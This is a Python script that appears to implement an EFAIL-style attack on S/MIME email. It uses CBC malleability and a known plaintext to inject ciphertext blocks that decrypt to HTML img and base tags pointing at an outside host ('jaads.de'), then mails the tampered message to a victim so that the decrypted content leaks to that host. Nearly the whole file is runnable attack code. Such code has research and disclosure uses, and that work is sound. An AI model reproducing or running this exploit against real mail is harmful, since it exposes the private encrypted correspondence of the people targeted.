smime_modification.py

from mime import add_smime_header, send_mail
from formats import *


def print_decrypted_smime_msg(msg):
    with open("ciphertext_files/smime/modified_msg.eml", "w") as file:
        file.write(msg)
    file.closed
    run(["openssl", "smime", "-decrypt", "-in", "modified_msg.eml", "-inkey", "myprivkey.key"], cwd="ciphertext_files/smime")


def get_smime_msg():
    with open("ciphertext_files/smime/smime.p7m", "r") as f:
        p7m = f.read()
    f.closed
    return p7m


# Initialization
p7m = get_smime_msg()
iv_offset = 442 + 2
ciphertext_offset = 462
ciphertext_length = 112
length_places = [461, 416, 20, 16, 1]
eml = P7m(p7m, iv_offset, ciphertext_offset, ciphertext_length, length_places)

# The known plaintext
p1 = b"Content-Type: te"

# The canonical CBC gadget resulting in an all zero plaintext block
iv = eml.get_iv()
x = xor(iv, p1)

# The modified ciphertext blocks that will be sent to the victim
x_1 = xor(x, b" <base         '")
x_2 = xor(x, b"' href='http:'> ")
x_3 = xor(x, b"<img           '")
x_4 = xor(x, b"  src='jaads.de/")
x_5 = xor(x, b"'>              ")

# Determine first and second blocks
c1 = eml.get_ciphertext_block(1)
c2 = eml.get_ciphertext_block(2)

# Determine last and second last blocks
c_l = eml.get_ciphertext_block(eml.get_block_amount())
c_sl = eml.get_ciphertext_block(eml.get_block_amount() - 1)

# Insert block pairs to open the exfiltration channel
eml.insert_in_ciphertext(2, x_1, c1, x_2, c1, x_3, c1, x_4, c1, c2)

# Insert closing tag and last two blocks for padding
eml.insert_in_ciphertext(eml.get_block_amount(), x_5, c1, c_sl, c_l)

formatted_msg = eml.format_properly()
smime = add_smime_header(formatted_msg)
send_mail(smime)

print_decrypted_smime_msg(smime)